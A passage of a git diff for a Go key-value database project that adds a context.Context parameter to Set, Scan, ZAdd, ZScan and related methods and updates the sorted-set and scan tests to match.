db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`item1`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`item2`)}}}) - meta, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`item3`)}}}) + meta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`item3`)}}}) require.NoError(t, err) scanOptions := schema.ScanRequest{ @@ -150,7 +151,7 @@ func TestStoreScanDesc(t *testing.T) { SinceTx: meta.Id, } - list, err := db.Scan(&scanOptions) + list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`key1`)) @@ -165,7 +166,7 @@ func TestStoreScanDesc(t *testing.T) { SinceTx: meta.Id, } - list, err = db.Scan(&scanOptions) + list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 2, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`key2`)) @@ -179,7 +180,7 @@ func TestStoreScanDesc(t *testing.T) { SinceTx: meta.Id, } - list, err = db.Scan(&scanOptions) + list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 1, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`key1`)) @@ -192,7 +193,7 @@ func TestStoreScanDesc(t *testing.T) { SinceTx: meta.Id, } - list, err = db.Scan(&scanOptions) + list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Len(t, list.Entries, 3) } @@ -201,7 +202,7 @@ func TestStoreScanEndKey(t *testing.T) { db := makeDb(t) for i := 1; i < 100; i++ { - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{ + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte(fmt.Sprintf("key_%02d", i)), Value: []byte(fmt.Sprintf("val_%02d", i)), }}}) @@ -209,7 +210,7 @@ func TestStoreScanEndKey(t *testing.T) { } t.Run("not inclusive", func(t *testing.T) { - res, err := db.Scan(&schema.ScanRequest{ + res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), }) @@ -222,7 +223,7 @@ func TestStoreScanEndKey(t *testing.T) { }) t.Run("inclusive seek", func(t *testing.T) { - res, err := db.Scan(&schema.ScanRequest{ + res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), InclusiveSeek: true, @@ -236,7 +237,7 @@ func TestStoreScanEndKey(t *testing.T) { }) t.Run("inclusive end", func(t *testing.T) { - res, err := db.Scan(&schema.ScanRequest{ + res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), InclusiveEnd: true, @@ -250,7 +251,7 @@ func TestStoreScanEndKey(t *testing.T) { }) t.Run("inclusive seek and end", func(t *testing.T) { - res, err := db.Scan(&schema.ScanRequest{ + res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), InclusiveSeek: true, diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 36cb2fada1..895e4fc01b 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "encoding/binary" "fmt" "math" @@ -34,7 +35,7 @@ const txIDLen = 8 // As a parameter of ZAddOptions is possible to provide the associated index of the provided key. In this way, when resolving reference, the specified version of the key will be returned. // If the index is not provided the resolution will use only the key and last version of the item will be returned // If ZAddOptions.index is provided key is optional -func (d *db) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { +func (d *db) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { if req == nil || len(req.Set) == 0 || len(req.Key) == 0 { return nil, store.ErrIllegalArguments } @@ -51,7 +52,7 @@ func (d *db) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { } lastTxID, _ := d.st.CommittedAlh() - err := d.st.WaitForIndexingUpto(lastTxID, nil) + err := d.st.WaitForIndexingUpto(ctx, lastTxID) if err != nil { return nil, err } @@ -67,7 +68,7 @@ func (d *db) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { return nil, ErrReferencedKeyCannotBeAReference } - tx, err := d.st.NewWriteOnlyTx() + tx, err := d.st.NewWriteOnlyTx(ctx) if err != nil { return nil, err } @@ -95,7 +96,7 @@ func (d *db) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { } // ZScan ... -func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { +func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { if req == nil || len(req.Set) == 0 { return nil, store.ErrIllegalArguments } @@ -155,7 +156,7 @@ func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { binary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey):], req.SeekAtTx) } - snap, err := d.snapshotSince(req.SinceTx) + snap, err := d.snapshotSince(ctx, req.SinceTx) if err != nil { return nil, err } @@ -235,7 +236,7 @@ func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { } // VerifiableZAdd ... -func (d *db) VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { +func (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, store.ErrIllegalArguments } @@ -251,7 +252,7 @@ func (d *db) VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.Verifiab } defer d.releaseTx(lastTx) - txMetatadata, err := d.ZAdd(req.ZAddRequest) + txMetatadata, err := d.ZAdd(ctx, req.ZAddRequest) if err != nil { return nil, err } diff --git a/pkg/database/sorted_set_test.go b/pkg/database/sorted_set_test.go index a7c54a14df..fcf88b985a 100644 --- a/pkg/database/sorted_set_test.go +++ b/pkg/database/sorted_set_test.go @@ -17,6 +17,7 @@ limitations under the License. package database import ( + "context" "math" "testing" @@ -28,10 +29,10 @@ import ( func TestStoreIndexExists(t *testing.T) { db := makeDb(t) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myFirstElementKey`), Value: []byte(`firstValue`)}}}) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`mySecondElementKey`), Value: []byte(`secondValue`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myFirstElementKey`), Value: []byte(`firstValue`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`mySecondElementKey`), Value: []byte(`secondValue`)}}}) - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myThirdElementKey`), Value: []byte(`thirdValue`)}}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myThirdElementKey`), Value: []byte(`thirdValue`)}}}) require.NoError(t, err) zaddOpts1 := &schema.ZAddRequest{ @@ -40,7 +41,7 @@ func TestStoreIndexExists(t *testing.T) { Score: float64(14.6), } - reference1, err1 := db.ZAdd(zaddOpts1) + reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(5), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") @@ -51,7 +52,7 @@ func TestStoreIndexExists(t *testing.T) { Score: float64(6), } - reference2, err2 := db.ZAdd(zaddOpts2) + reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(6), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") @@ -63,7 +64,7 @@ func TestStoreIndexExists(t *testing.T) { AtTx: 0, BoundRef: true, } - _, err2 = db.ZAdd(zaddOpts2) + _, err2 = db.ZAdd(context.Background(), zaddOpts2) require.Equal(t, ErrIllegalArguments, err2) zaddOpts3 := &schema.ZAddRequest{ @@ -72,7 +73,7 @@ func TestStoreIndexExists(t *testing.T) { Score: float64(14.5), } - reference3, err3 := db.ZAdd(zaddOpts3) + reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(7), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") @@ -82,7 +83,7 @@ func TestStoreIndexExists(t *testing.T) { Limit: uint64(db.MaxResultSize() + 1), } - _, err = db.ZScan(zscanOpts) + _, err = db.ZScan(context.Background(), zscanOpts) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) //try to retrieve directly the value or full scan to debug @@ -91,7 +92,7 @@ func TestStoreIndexExists(t *testing.T) { Set: []byte(`firstIndex`), } - itemList1, err := db.ZScan(zscanOpts1) + itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`mySecondElementKey`), itemList1.Entries[0].Entry.Key) @@ -104,7 +105,7 @@ func TestStoreIndexExists(t *testing.T) { Desc: true, } - itemList2, err := db.ZScan(zscanOpts2) + itemList2, err := db.ZScan(context.Background(), zscanOpts2) require.NoError(t, err) require.Len(t, itemList2.Entries, 3) require.Equal(t, []byte(`myFirstElementKey`), itemList2.Entries[0].Entry.Key) @@ -115,14 +116,14 @@ func TestStoreIndexExists(t *testing.T) { func TestStoreIndexEqualKeys(t *testing.T) { db := makeDb(t) - _, err := db.ZAdd(nil) + _, err := db.ZAdd(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) - i2, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) - i3, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) + i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) + i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) - i, err := db.SetReference(&schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true}) + i, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true}) require.NoError(t, err) zaddOpts := &schema.ZAddRequest{ @@ -133,7 +134,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { BoundRef: true, } - reference1, err := db.ZAdd(zaddOpts) + reference1, err := db.ZAdd(context.Background(), zaddOpts) require.Equal(t, ErrReferencedKeyCannotBeAReference, err) zaddOpts1 := &schema.ZAddRequest{ @@ -144,7 +145,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { BoundRef: true, } - reference1, err1 := db.ZAdd(zaddOpts1) + reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(6), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") @@ -157,7 +158,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { BoundRef: true, } - reference2, err2 := db.ZAdd(zaddOpts2) + reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(7), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") @@ -170,7 +171,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { BoundRef: true, } - reference3, err3 := db.ZAdd(zaddOpts3) + reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(8), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") @@ -181,7 +182,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { SinceTx: reference3.Id, } - itemList1, err := db.ZScan(zscanOpts1) + itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key) @@ -192,9 +193,9 @@ func TestStoreIndexEqualKeys(t *testing.T) { func TestStoreIndexEqualKeysEqualScores(t *testing.T) { db := makeDb(t) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) - i2, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) - i3, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) + i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) + i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) score := float64(1.1) @@ -206,7 +207,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { BoundRef: true, } - reference1, err1 := db.ZAdd(zaddOpts1) + reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(5), reference1.Id) @@ -220,7 +221,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { BoundRef: true, } - reference2, err2 := db.ZAdd(zaddOpts2) + reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(6), reference2.Id) @@ -234,7 +235,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { BoundRef: true, } - reference3, err3 := db.ZAdd(zaddOpts3) + reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(7), reference3.Id) @@ -246,7 +247,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { SinceTx: reference3.Id, } - itemList1, err := db.ZScan(zscanOpts1) + itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) @@ -262,7 +263,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { func TestStoreIndexEqualKeysMismatchError(t *testing.T) { db := makeDb(t) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), @@ -272,7 +273,7 @@ func TestStoreIndexEqualKeysMismatchError(t *testing.T) { BoundRef: true, } - _, err := db.ZAdd(zaddOpts1) + _, err := db.ZAdd(context.Background(), zaddOpts1) require.Equal(t, store.ErrKeyNotFound, err) } @@ -289,12 +290,12 @@ func TestStore_ZScanPagination(t *testing.T) { db := makeDb(t) setName := []byte(`set1`) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}}) - i2, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}}) - i3, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}}) - i4, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}}) - i5, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}}) - i6, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}}) + i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}}) + i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}}) + i4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}}) + i5, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}}) + i6, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: setName, @@ -339,13 +340,13 @@ func TestStore_ZScanPagination(t *testing.T) { BoundRef: true, } - db.ZAdd(zaddOpts1) - db.ZAdd(zaddOpts2) - db.ZAdd(zaddOpts3) - db.ZAdd(zaddOpts4) - db.ZAdd(zaddOpts5) + db.ZAdd(context.Background(), zaddOpts1) + db.ZAdd(context.Background(), zaddOpts2) + db.ZAdd(context.Background(), zaddOpts3) + db.ZAdd(context.Background(), zaddOpts4) + db.ZAdd(context.Background(), zaddOpts5) - meta, err := db.ZAdd(zaddOpts6) + meta, err := db.ZAdd(context.Background(), zaddOpts6) require.NoError(t, err) zScanOption0 := &schema.ZScanRequest{ @@ -354,7 +355,7 @@ func TestStore_ZScanPagination(t *testing.T) { SinceTx: meta.Id, } - list0, err := db.ZScan(zScanOption0) + list0, err := db.ZScan(context.Background(), zScanOption0) require.NoError(t, err) require.Empty(t, list0.Entries) @@ -368,7 +369,7 @@ func TestStore_ZScanPagination(t *testing.T) { SinceTx: meta.Id, } - list1, err := db.ZScan(zScanOption1) + list1, err := db.ZScan(context.Background(), zScanOption1) require.NoError(t, err) require.Len(t, list1.Entries, 2) require.Equal(t, list1.Entries[0].Entry.Key, []byte(`key3`)) @@ -388,7 +389,7 @@ func TestStore_ZScanPagination(t *testing.T) { SinceTx: meta.Id, } - list, err := db.ZScan(zScanOption2) + list, err := db.ZScan(context.Background(), zScanOption2) require.NoError(t, err) require.Len(t, list.Entries, 2) require.Equal(t, list.Entries[0].Entry.Key, []byte(`key5`)) @@ -407,12 +408,12 @@ func TestStore_ZScanReversePagination(t *testing.T) { db := makeDb(t) setName := []byte(`set1`) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}}) - i2, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}}) - i3, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}}) - i4, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}}) - i5, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}}) - i6, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}}) + i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}}) + i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}}) + i4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}}) + i5, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}}) + i6, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: setName, @@ -457,12 +458,12 @@ func TestStore_ZScanReversePagination(t *testing.T) { BoundRef: true, } - db.ZAdd(zaddOpts1) - db.ZAdd(zaddOpts2) - db.ZAdd(zaddOpts3) - db.ZAdd(zaddOpts4) - db.ZAdd(zaddOpts5) - meta, err := db.ZAdd(zaddOpts6) + db.ZAdd(context.Background(), zaddOpts1) + db.ZAdd(context.Background(), zaddOpts2) + db.ZAdd(context.Background(), zaddOpts3) + db.ZAdd(context.Background(), zaddOpts4) + db.ZAdd(context.Background(), zaddOpts5) + meta, err := db.ZAdd(context.Background(), zaddOpts6) require.NoError(t, err) zScanOption1 := &schema.ZScanRequest{ @@ -477,7 +478,7 @@ func TestStore_ZScanReversePagination(t *testing.T) { SinceTx: meta.Id, } - list1, err := db.ZScan(zScanOption1) + list1, err := db.ZScan(context.Background(), zScanOption1) require.NoError(t, err) require.Len(t, list1.Entries, 2) require.Equal(t, list1.Entries[0].Entry.Key, []byte(`key6`)) @@ -496,7 +497,7 @@ func TestStore_ZScanReversePagination(t *testing.T) { SinceTx: meta.Id, } - list2, err := db.ZScan(zScanOption2) + list2, err := db.ZScan(context.Background(), zScanOption2) require.NoError(t, err) require.Len(t, list2.Entries, 2) require.Equal(t, list2.Entries[0].Entry.Key, []byte(`key5`)) @@ -513,7 +514,7 @@ func TestStore_ZScanReversePagination(t *testing.T) { SinceTx: meta.Id, } - list3, err := db.ZScan(zScanOption3) + list3, err := db.ZScan(context.Background(), zScanOption3) require.NoError(t, err) require.Len(t, list3.Entries, 2) require.Equal(t, list3.Entries[0].Entry.Key, []byte(`key4`)) @@ -526,44 +527,44 @@ func TestStore_ZScanInvalidSet(t *testing.T) { opt := &schema.ZScanRequest{ Set: nil, } - _, err := db.ZScan(opt) + _, err := db.ZScan(context.Background(), opt) require.Equal(t, store.ErrIllegalArguments, err) } func TestStore_ZScanOnEqualKeysWithSameScoreAreReturnedOrderedByTS(t *testing.T) { db := makeDb(t) - idx0, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-A`)}}}) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2-A`)}}}) - idx2, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-B`)}}}) - db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3-A`)}}}) - idx4, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-C`)}}}) + idx0, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-A`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2-A`)}}}) + idx2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-B`)}}}) + db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3-A`)}}}) + idx4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-C`)}}}) - db.ZAdd(&schema.ZAddRequest{ + db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key1`), AtTx: idx2.Id, BoundRef: true, }) - db.ZAdd(&schema.ZAddRequest{ + db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key1`), AtTx: idx0.Id, BoundRef: true, }) - db.ZAdd(&schema.ZAddRequest{ + db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key2`), }) - db.ZAdd(&schema.ZAddRequest{ + db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key3`), }) - meta, _ := db.ZAdd(&schema.ZAddRequest{ + meta, _ := db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key1`), @@ -576,7 +577,7 @@ func TestStore_ZScanOnEqualKeysWithSameScoreAreReturnedOrderedByTS(t *testing.T) SinceTx: meta.Id, } - list, err := db.ZScan(ZScanRequest) + list, err := db.ZScan(context.Background(), ZScanRequest) require.NoError(t, err) // same key, sorted by internal timestamp require.Exactly(t, []byte(`val1-A`), list.Entries[0].Entry.Value) @@ -589,9 +590,9 @@ func TestStore_ZScanOnEqualKeysWithSameScoreAreReturnedOrderedByTS(t *testing.T) func TestStoreZScanOnZAddIndexReference(t *testing.T) { db := makeDb(t) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) - i2, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) - i3, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) + i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) + i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), @@ -601,7 +602,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { BoundRef: true, } - reference1, err1 := db.ZAdd(zaddOpts1) + reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(5), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") @@ -614,7 +615,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { BoundRef: true, } - reference2, err2 := db.ZAdd(zaddOpts2) + reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(6), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") @@ -627,7 +628,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { BoundRef: true, } - reference3, err3 := db.ZAdd(zaddOpts3) + reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(7), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") @@ -638,7 +639,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { SinceTx: reference3.Id, } - itemList1, err := db.ZScan(zscanOpts1) + itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key) @@ -650,18 +651,18 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { func TestStoreVerifiableZAdd(t *testing.T) { db := makeDb(t) - _, err := db.VerifiableZAdd(nil) + _, err := db.VerifiableZAdd(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) - i1, _ := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`value1`)}}}) + i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`value1`)}}}) - vtx, err := db.VerifiableZAdd(&schema.VerifiableZAddRequest{ + vtx, err := db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id + 1, }) require.Equal(t, store.ErrIllegalArguments, err) - vtx, err = db.VerifiableZAdd(&schema.VerifiableZAddRequest{ + vtx, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id, }) @@ -675,7 +676,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { BoundRef: true, } - vtx, err = db.VerifiableZAdd(&schema.VerifiableZAddRequest{ + vtx, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: req, ProveSinceTx: i1.Id, }) @@ -702,7 +703,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { SinceTx: vtx.Tx.Header.Id, } - itemList1, err := db.ZScan(zscanReq) + itemList1, err := db.ZScan(context.Background(), zscanReq) require.NoError(t, err) require.Len(t, itemList1.Entries, 1) require.Equal(t, req.Key, itemList1.Entries[0].Entry.Key) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 6a51e52fe1..b8c0910764 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ 